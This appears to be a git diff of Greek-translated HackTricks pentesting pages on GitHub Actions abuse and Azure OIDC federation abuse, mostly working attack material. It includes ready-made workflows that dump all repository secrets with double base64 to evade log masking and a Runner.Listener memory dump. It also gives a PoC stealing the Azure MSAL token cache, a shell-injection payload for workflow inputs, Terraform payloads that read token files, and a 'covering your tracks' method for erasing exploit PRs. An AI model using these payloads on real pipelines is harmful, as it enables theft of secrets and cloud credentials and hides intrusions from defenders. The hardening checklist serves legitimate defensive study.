-- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name. +- Fork το αποθετήριο-θύμα και ενεργοποιήστε το Dependabot με κάποια outdated dependency. +- Δημιουργήστε ένα νέο branch με τον κακόβουλο shell injeciton code. +- Αλλάξτε το default branch του repo σε αυτό. +- Δημιουργήστε ένα PR από αυτό το branch προς το αποθετήριο-θύμα. +- Τρέξτε `@dependabot merge` στο PR που άνοιξε το Dependabot στο fork του. +- Το Dependabot θα συγχωνεύσει τις αλλαγές του στο default branch του forked αποθετηρίου σας, ενημερώνοντας το PR στο αποθετήριο-θύμα και κάνοντας πλέον το `dependabot[bot]` τον actor του τελευταίου event που ενεργοποίησε το workflow, χρησιμοποιώντας ένα malicious branch name. -### Ευάλωτες Third-Party Github Actions +### Ευάλωτα Github Actions τρίτων #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +Όπως αναφέρεται σε [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), αυτό το Github Action επιτρέπει την πρόσβαση σε artifacts από διαφορετικά workflows και ακόμη και repositories. -Το πρόβλημα είναι ότι αν ο παράμετρος **`path`** δεν έχει οριστεί, το artifact εξάγεται στον τρέχοντα κατάλογο και μπορεί να αντικαταστήσει αρχεία που αργότερα θα μπορούσαν να χρησιμοποιηθούν ή ακόμα και να εκτελεστούν στο workflow. Επομένως, αν το Artifact είναι ευάλωτο, ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να συμβιβάσει άλλα workflows που εμπιστεύονται το Artifact. +Το πρόβλημα είναι ότι αν η παράμετρος **`path`** δεν οριστεί, το artifact εξάγεται στον τρέχοντα κατάλογο και μπορεί να αντικαταστήσει αρχεία που ενδέχεται να χρησιμοποιηθούν αργότερα ή ακόμη και να εκτελεστούν στο workflow. Επομένως, αν το Artifact είναι ευάλωτο, ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να παραβιάσει άλλα workflows που εμπιστεύονται το Artifact. -Example of vulnerable workflow: +Παράδειγμα ευάλωτου workflow: ```yaml on: workflow_run: @@ -376,7 +376,7 @@ with: name: artifact path: ./script.py ``` -Αυτό θα μπορούσε να επιτεθεί με αυτή τη ροή εργασίας: +Αυτό μπορεί να επιτεθεί με την εξής ροή εργασίας: ```yaml name: "some workflow" on: pull_request @@ -395,25 +395,25 @@ path: ./script.py ## Άλλες Εξωτερικές Προσβάσεις -### Deleted Namespace Repo Hijacking +### Διαγραμμένο Namespace Repo Hijacking -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of name**, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +Αν ένας account αλλάξει το όνομά του, άλλος χρήστης μπορεί να εγγράψει έναν account με αυτό το όνομα μετά από κάποιο χρόνο. Αν ένα repository είχε **λιγότερα από 100 stars πριν την αλλαγή ονόματος**, το Github θα επιτρέψει στον νέο εγγεγραμμένο χρήστη με το ίδιο όνομα να δημιουργήσει ένα **repository με το ίδιο όνομα** όπως αυτό που διαγράφηκε. > [!CAUTION] -> Έτσι, αν ένα action χρησιμοποιεί ένα repo από λογαριασμό που δεν υπάρχει, εξακολουθεί να είναι πιθανό ένας επιτιθέμενος να δημιουργήσει αυτόν τον λογαριασμό και να συμβιβάσει το action. +> Έτσι, αν ένα action χρησιμοποιεί ένα repo από έναν μη-υπάρχον account, εξακολουθεί να είναι πιθανό ένας attacker να δημιουργήσει αυτόν τον account και να compromise το action. -If other repositories were using **dependencies from this user repos**, an attacker will be able to hijack them. Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Αν άλλα repositories χρησιμοποιούσαν **dependencies από τα user repos αυτού του χρήστη**, ένας attacker θα μπορέσει να τα hijack. Εδώ έχετε μια πιο πλήρη εξήγηση: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> Σε αυτή την ενότητα θα μιλήσουμε για τεχνικές που θα επιτρέπουν να **pivot from one repo to another** υποθέτοντας ότι έχουμε κάποιο είδος πρόσβασης στο πρώτο (δείτε την προηγούμενη ενότητα). +> Σε αυτή την ενότητα θα μιλήσουμε για τεχνικές που θα επιτρέψουν να **pivot from one repo to another** υποθέτοντας ότι έχουμε κάποιο είδος πρόσβασης στο πρώτο (δείτε την προηγούμενη ενότητα). ### Cache Poisoning -A cache is maintained between **workflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +Ένα cache διατηρείται μεταξύ των **workflow runs στο ίδιο branch**. Αυτό σημαίνει ότι αν ένας attacker **compromise** ένα **package** που στη συνέχεια αποθηκεύεται στο cache και **downloaded** και εκτελείται από ένα **more privileged** workflow, θα μπορέσει επίσης να **compromise** και αυτό το workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +Workflows θα μπορούσαν να χρησιμοποιούν **artifacts from other workflows and even repos**, αν ένας attacker καταφέρει να **compromise** το Github Action που **uploads an artifact** το οποίο αργότερα χρησιμοποιείται από άλλο workflow, θα μπορούσε να **compromise** και τα άλλα workflows: {{#ref}} gh-actions-artifact-poisoning.md @@ -429,11 +429,11 @@ gh-actions-artifact-poisoning.md --- -## Post Exploitation from an Action +## Post Exploitation από ένα Action ### Github Action Policies Bypass -As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.** +Όπως αναφέρεται σε [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), ακόμα και αν ένα repository ή μια organization έχει policy που περιορίζει τη χρήση ορισμένων actions, ένας attacker μπορεί απλώς να κατεβάσει (`git clone`) μια action μέσα στο workflow και μετά να την αναφέρει ως local action. Εφόσον οι policies δεν επηρεάζουν τα local paths, **η action θα εκτελεστεί χωρίς κανέναν περιορισμό.** Παράδειγμα: ```yaml @@ -456,27 +456,31 @@ path: gha-hazmat - run: ls tmp/checkout ``` -### Πρόσβαση σε AWS και GCP μέσω OIDC +### Πρόσβαση σε AWS, Azure και GCP μέσω OIDC -Check the following pages: +Δείτε τις παρακάτω σελίδες: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Πρόσβαση σε μυστικά +### Πρόσβαση σε secrets -Αν εισάγετε περιεχόμενο σε ένα script, είναι χρήσιμο να γνωρίζετε πώς μπορείτε να αποκτήσετε πρόσβαση σε μυστικά: +Αν εισάγετε περιεχόμενο σε ένα script, είναι χρήσιμο να ξέρετε πώς μπορείτε να αποκτήσετε πρόσβαση σε secrets: -- Αν το μυστικό ή το token έχει οριστεί ως **μεταβλητή περιβάλλοντος**, μπορεί να προσπελαστεί απευθείας μέσω του περιβάλλοντος χρησιμοποιώντας **`printenv`**. +- Εάν το secret ή token έχει οριστεί ως **environment variable**, μπορεί να προσπελαστεί απευθείας από το environment χρησιμοποιώντας **`printenv`**.
-Λίστα μυστικών στην έξοδο του Github Action +Λίστα secrets στην έξοδο του Github Action ```yaml name: list_env on: @@ -503,7 +507,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Πάρτε reverse shell με secrets +Απόκτηση reverse shell με secrets ```yaml name: revshell on: @@ -526,7 +530,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- Εάν το secret χρησιμοποιείται **απευθείας σε μια έκφραση**, το παραγόμενο shell script αποθηκεύεται **στο δίσκο** και είναι προσβάσιμο. +- Αν το secret χρησιμοποιηθεί **άμεσα σε μια έκφραση**, το παραγόμενο shell script αποθηκεύεται **στον δίσκο** και είναι προσβάσιμο. - ```bash cat /home/runner/work/_temp/* ``` @@ -534,7 +538,7 @@ cat /home/runner/work/_temp/* - ```bash ps axe | grep node ``` -- Για μια **custom action**, ο κίνδυνος μπορεί να διαφέρει ανάλογα με το πώς ένα πρόγραμμα χρησιμοποιεί το secret που απέκτησε από το **argument**: +- Για ένα **custom action**, ο κίνδυνος μπορεί να διαφέρει ανάλογα με το πώς ένα πρόγραμμα χρησιμοποιεί το secret που απέκτησε από το **argument**: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +546,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Εξακριβώστε όλα τα secrets μέσω του secrets context (collaborator level). Ένας contributor με write access μπορεί να τροποποιήσει ένα workflow σε οποιοδήποτε branch για να αποστείλει (dump) όλα τα repository/org/environment secrets. Χρησιμοποιήστε double base64 για να αποφύγετε το GitHub’s log masking και αποκωδικοποιήστε το τοπικά: +- Απαριθμήστε όλα τα secrets μέσω του secrets context (επίπεδο collaborator). Ένας contributor με write access μπορεί να τροποποιήσει ένα workflow σε οποιοδήποτε branch για να εξάγει όλα τα repository/org/environment secrets. Χρησιμοποιήστε διπλό base64 για να αποφύγετε το GitHub’s log masking και αποκωδικοποιήστε το τοπικά: ```yaml name: Steal secrets @@ -564,25 +568,24 @@ echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -Tip: για stealth κατά τις δοκιμές, κρυπτογραφήστε πριν την εκτύπωση (openssl είναι προεγκατεστημένο στους GitHub-hosted runners). +Συμβουλή: για stealth κατά τη δοκιμή, κρυπτογραφήστε πριν την εκτύπωση (openssl είναι προεγκατεστημένο στους GitHub-hosted runners). ### Κατάχρηση Self-hosted runners -Ο τρόπος για να βρείτε ποιες **Github Actions εκτελούνται σε υποδομή εκτός GitHub** είναι να αναζητήσετε **`runs-on: self-hosted`** στο Github Action configuration yaml. +Ο τρόπος να βρείτε ποιες **Github Actions εκτελούνται σε υποδομή εκτός GitHub** είναι να ψάξετε για **`runs-on: self-hosted`** στο Github Action configuration yaml. -Οι **Self-hosted** runners μπορεί να έχουν πρόσβαση σε **επιπλέον ευαίσθητες πληροφορίες**, σε άλλα **δικτυακά συστήματα** (ευάλωτα endpoints στο δίκτυο; metadata service?) ή, ακόμη και αν είναι απομονωμένος και θα καταστραφεί, **περισσότερες από μία action μπορεί να τρέχουν ταυτόχρονα** και η κακόβουλη θα μπορούσε να **steal the secrets** της άλλης. +Οι **Self-hosted** runners μπορεί να έχουν πρόσβαση σε **επιπλέον ευαίσθητες πληροφορίες**, σε άλλα **network systems** (ευπαθή endpoints στο δίκτυο? metadata service?) ή, ακόμη κι αν είναι απομονωμένος και καταστραφεί, **περισσότερες από μία action μπορεί να εκτελούνται ταυτόχρονα** και η κακόβουλη θα μπορούσε να **κλέψει τα secrets** της άλλης. -Σε self-hosted runners είναι επίσης δυνατό να αποκτήσετε τα **secrets from the \_Runner.Listener**\_\*\* process\*\* τα οποία θα περιέχουν όλα τα secrets των workflows σε οποιοδήποτε βήμα, κάνοντας dump τη μνήμη του: +Σε self-hosted runners είναι επίσης δυνατό να αποκτήσετε τα **secrets from the \_Runner.Listener**\_\*\* process\*\* που θα περιέχει όλα τα secrets των workflows σε οποιοδήποτε βήμα, dumpάροντας τη μνήμη του: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Δείτε [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Δείτε [**αυτό το άρθρο για περισσότερες πληροφορίες**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry -Είναι δυνατό να δημιουργήσετε Github actions που θα **χτίσουν και θα αποθηκεύσουν ένα Docker image μέσα στο Github**.\ -Ένα παράδειγμα υπάρχει στο παρακάτω αναδιπλούμενο: +Είναι δυνατό να δημιουργήσετε Github actions που θα **δημιουργούν και αποθηκεύουν ένα Docker image μέσα στο Github**. Ένα παράδειγμα θα το βρείτε στο παρακάτω αναδιπλούμενο:
@@ -619,12 +622,12 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e Όπως φαίνεται στον προηγούμενο κώδικα, το Github registry φιλοξενείται στο **`ghcr.io`**. -Ένας χρήστης με δικαιώματα ανάγνωσης στο repo θα μπορεί τότε να κατεβάσει το Docker Image χρησιμοποιώντας ένα personal access token: +Ένας χρήστης με read permissions στο repo θα μπορεί τότε να κατεβάσει το Docker Image χρησιμοποιώντας ένα personal access token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Στη συνέχεια, ο χρήστης θα μπορούσε να αναζητήσει για **leaked secrets in the Docker image layers:** +Then, the user could search for **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html @@ -632,16 +635,16 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### Ευαίσθητες πληροφορίες στα Github Actions logs -Ακόμα κι αν το **Github** προσπαθεί να **detect secret values** στα actions logs και να **avoid showing** αυτά, **other sensitive data** που μπορεί να έχει παραχθεί κατά την εκτέλεση της action δεν θα κρυφτεί. Για παράδειγμα ένα JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Ακόμα κι αν το **Github** προσπαθεί να **detect secret values** στα actions logs και να **avoid showing** αυτά, **άλλα ευαίσθητα δεδομένα** που μπορεί να έχουν παραχθεί κατά την εκτέλεση του action δεν θα αποκρυφθούν. Για παράδειγμα, ένα JWT υπογεγραμμένο με μια secret value δεν θα αποκρυφθεί εκτός αν είναι [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Covering your Tracks +## Καλύπτοντας τα ίχνη σας -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Πρώτα απ' όλα, κάθε PR που υποβάλλεται είναι σαφώς ορατό στο κοινό στο Github και στον στοχευόμενο λογαριασμό GitHub. Στο GitHub εξ ορισμού, we **can’t delete a PR of the internet**, αλλά υπάρχει μια ανατροπή. Για λογαριασμούς Github που είναι **suspended** από Github, όλα τα **PRs are automatically deleted** και αφαιρούνται από το internet. Οπότε για να κρύψετε τη δραστηριότητά σας χρειάζεται είτε να κάνετε **GitHub account suspended or get your account flagged**. Αυτό θα **hide all your activities** στο GitHub από το internet (βασικά θα αφαιρέσει όλα τα exploit PR σας) +(Τεχνική από [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Πρώτον, κάθε PR που ανοίγει είναι ξεκάθαρα ορατό στο κοινό στο Github και στον στόχο του GitHub account. Στο GitHub από προεπιλογή, **δεν μπορούμε να διαγράψουμε ένα PR από το internet**, αλλά υπάρχει μια παράμετρος. Για Github accounts που είναι **suspended** από το Github, όλα τα **PRs διαγράφονται αυτόματα** και αφαιρούνται από το internet. Έτσι, για να κρύψετε τη δραστηριότητά σας πρέπει είτε να κάνετε suspend το **GitHub account** σας είτε να κάνετε flag τον λογαριασμό σας. Αυτό θα **κρύψει όλες τις δραστηριότητές σας** στο GitHub από το internet (βασικά θα αφαιρέσει όλα τα exploit PR σας) -Μια οργάνωση στο GitHub είναι πολύ προδραστική στην αναφορά λογαριασμών στο GitHub. Το μόνο που χρειάζεται να κάνετε είναι να μοιραστείτε “some stuff” σε ένα Issue και θα φροντίσουν ο λογαριασμός σας να είναι suspended σε 12 ώρες :p και εκεί το έχετε, κάνατε το exploit σας αόρατο στο github. +Μια οργάνωση στο GitHub είναι πολύ προδραστική στην αναφορά λογαριασμών στο GitHub. Το μόνο που χρειάζεται είναι να μοιραστείτε “some stuff” σε ένα Issue και θα φροντίσουν ώστε ο λογαριασμός σας να είναι suspended σε 12 ώρες :p και εκεί το έχετε, κάνατε το exploit σας αόρατο στο github. > [!WARNING] -> Ο μόνος τρόπος για μια οργάνωση να διαπιστώσει ότι έχει στοχοποιηθεί είναι να ελέγξει τα GitHub logs από SIEM καθώς από το GitHub UI το PR θα έχει αφαιρεθεί. +> Ο μοναδικός τρόπος για μια οργάνωση να ανακαλύψει ότι έχει στοχευτεί είναι να ελέγξει τα GitHub logs από SIEM αφού από το GitHub UI το PR θα έχει αφαιρεθεί. ## References diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..268b7a307 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,227 @@ +# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## Επισκόπηση + +GitHub Actions μπορεί να federate προς το Azure Entra ID (formerly Azure AD) χρησιμοποιώντας OpenID Connect (OIDC). Μια GitHub workflow ζητάει ένα βραχυπρόθεσμο GitHub ID token (JWT) που κωδικοποιεί λεπτομέρειες για το run. Το Azure επαληθεύει αυτό το token έναντι ενός Federated Identity Credential (FIC) σε ένα App Registration (service principal) και το ανταλλάσσει με Azure access tokens (MSAL cache, bearer tokens για Azure APIs). + +Το Azure επαληθεύει τουλάχιστον: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (όταν γίνεται ανταλλαγή για Azure tokens) +- sub: πρέπει να ταιριάζει με το διαμορφωμένο FIC Subject identifier + +> Το προεπιλεγμένο GitHub aud μπορεί να είναι ένα GitHub URL. Όταν γίνεται ανταλλαγή με το Azure, ορίστε ρητά audience=api://AzureADTokenExchange. + +## GitHub ID token γρήγορο PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +Για να επιβάλετε το Azure audience στο αίτημα token: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Azure setup (Workload Identity Federation) + +1) Δημιουργήστε App Registration (service principal) και χορηγήστε ελάχιστα δικαιώματα (π.χ., Storage Blob Data Contributor σε συγκεκριμένο storage account). + +2) Προσθέστε Federated identity credentials: +- Έκδότης: https://token.actions.githubusercontent.com +- Ακροατήριο: api://AzureADTokenExchange +- Αναγνωριστικό υποκειμένου: στενά περιορισμένο στο προοριζόμενο workflow/run context (βλέπε Scoping and risks παρακάτω). + +3) Χρησιμοποιήστε azure/login για να ανταλλάξετε το GitHub ID token και να συνδεθείτε στο Azure CLI: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +Παράδειγμα χειροκίνητης ανταλλαγής (εμφανίζεται το πεδίο του Graph; το ARM ή άλλοι πόροι παρόμοια): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## GitHub OIDC subject (sub) ανατομία και προσαρμογή + +Προεπιλεγμένη μορφή sub: repo:/: + +Οι τιμές του context περιλαμβάνουν: +- environment: +- pull_request (PR ενεργοποιείται όταν δεν υπάρχει environment) +- ref:refs/(heads|tags)/ + +Χρήσιμα claims που συχνά υπάρχουν στο payload: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +Προσαρμόστε τη σύνθεση του sub μέσω του GitHub API για να συμπεριλάβετε επιπλέον claims και να μειώσετε τον κίνδυνο σύγκρουσης: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +Σημείωση: Οι χαρακτήρες ':' στα ονόματα περιβάλλοντος είναι URL‑κωδικοποιημένοι (%3A), αφαιρώντας παλαιότερα κόλπα ένεσης διαχωριστών κατά την ανάλυση του sub. Ωστόσο, η χρήση μη μοναδικών subjects (π.χ., μόνο environment:) εξακολουθεί να είναι ανασφαλής. + +## Πεδίο εφαρμογής και κίνδυνοι των τύπων subject του FIC + +- Κλάδος/Ετικέτα: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ +- Κίνδυνος: Εάν ο κλάδος/ετικέτα δεν είναι προστατευμένος, οποιοσδήποτε contributor μπορεί να κάνει push και να αποκτήσει tokens. +- Περιβάλλον: sub=repo:/:environment: +- Κίνδυνος: Τα μη προστατευμένα περιβάλλοντα (χωρίς reviewers) επιτρέπουν στους contributors να δημιουργήσουν tokens. +- Pull request: sub=repo:/:pull_request +- Υψηλότερος κίνδυνος: Οποιοσδήποτε συνεργάτης μπορεί να ανοίξει ένα PR και να ικανοποιήσει το FIC. + +PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +Σχετικές τοποθεσίες αρχείων και σημειώσεις: +- Linux/macOS: ~/.azure/msal_token_cache.json περιέχει MSAL tokens για τις συνεδρίες του az CLI +- Windows: msal_token_cache.bin στο προφίλ χρήστη; προστατευμένο με DPAPI + +## Επαναχρησιμοποιήσιμα workflows και scoping του job_workflow_ref + +Η κλήση μιας επαναχρησιμοποιήσιμης ροής εργασίας προσθέτει το job_workflow_ref στο GitHub ID token, π.χ.: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +Παράδειγμα FIC για να δεσμεύσει τόσο το caller repo όσο και το reusable workflow: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +Διαμορφώστε τα claims στο caller repo ώστε τόσο το repo όσο και το job_workflow_ref να υπάρχουν στο sub: +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +Προειδοποίηση: Αν δεσμεύσετε μόνο το job_workflow_ref στο FIC, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα διαφορετικό repo στην ίδια org, να τρέξει το ίδιο reusable workflow στο ίδιο ref, να ικανοποιήσει το FIC και να δημιουργήσει tokens. Συμπεριλάβετε πάντα και το caller repo. + +## Διαδρομές εκτέλεσης κώδικα που παρακάμπτουν τις προστασίες job_workflow_ref + +Ακόμη και με σωστά scoped job_workflow_ref, οποιαδήποτε δεδομένα που ελέγχονται από τον caller και φτάνουν στο shell χωρίς ασφαλές quoting μπορούν να οδηγήσουν σε εκτέλεση κώδικα μέσα στο προστατευμένο context του workflow. + +Παράδειγμα ευάλωτου reusable step (unquoted interpolation): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +Κακόβουλη είσοδος του caller για εκτέλεση εντολών και εξαγωγή του Azure token cache: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## Το Terraform plan ως μέσο εκτέλεσης σε PRs + +Θεώρησε το Terraform plan ως εκτέλεση κώδικα. Κατά το plan, το Terraform μπορεί: +- Διαβάσει αυθαίρετα αρχεία μέσω συναρτήσεων όπως file() +- Εκτελέσει εντολές μέσω του external data source + +Παράδειγμα για exfiltrate του Azure token cache κατά το plan: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +Ή χρησιμοποιήστε external για να εκτελέσετε αυθαίρετες εντολές: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts. + +## Λίστα ελέγχου σκληρύνσεως + +- Μην χρησιμοποιείτε ποτέ sub=...:pull_request για ευαίσθητα FICs +- Προστατέψτε οποιοδήποτε branch/tag/environment που αναφέρεται από FICs (branch protection, environment reviewers) +- Προτιμήστε FICs scoped σε repo και job_workflow_ref για reusable workflows +- Προσαρμόστε το GitHub OIDC sub ώστε να περιλαμβάνει μοναδικά claims (π.χ., repo, job_workflow_ref, repository_owner) +- Εξαλείψτε την unquoted interpolation των caller inputs μέσα σε run steps· κωδικοποιήστε/quote με ασφάλεια +- Θεωρήστε το terraform plan ως εκτέλεση κώδικα· περιορίστε ή απομονώστε τα identities σε PR contexts +- Επιβάλετε least privilege στα App Registrations· ξεχωριστές ταυτότητες για plan vs apply +- Pin actions και reusable workflows σε commit SHAs (αποφύγετε branch/tag pins) + +## Συμβουλές για χειροκίνητο testing + +- Ζητήστε ένα GitHub ID token μέσα στο workflow και εκτυπώστε το σε base64 για να αποφύγετε το masking +- Αποκωδικοποιήστε το JWT για να ελέγξετε τα claims: iss, aud, sub, job_workflow_ref, repository, ref +- Ανταλλάξτε χειροκίνητα το ID token με login.microsoftonline.com για να επιβεβαιώσετε το FIC matching και τα scopes +- Μετά το azure/login, διαβάστε ~/.azure/msal_token_cache.json για να επαληθεύσετε την παρουσία του token material + +## Αναφορές + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}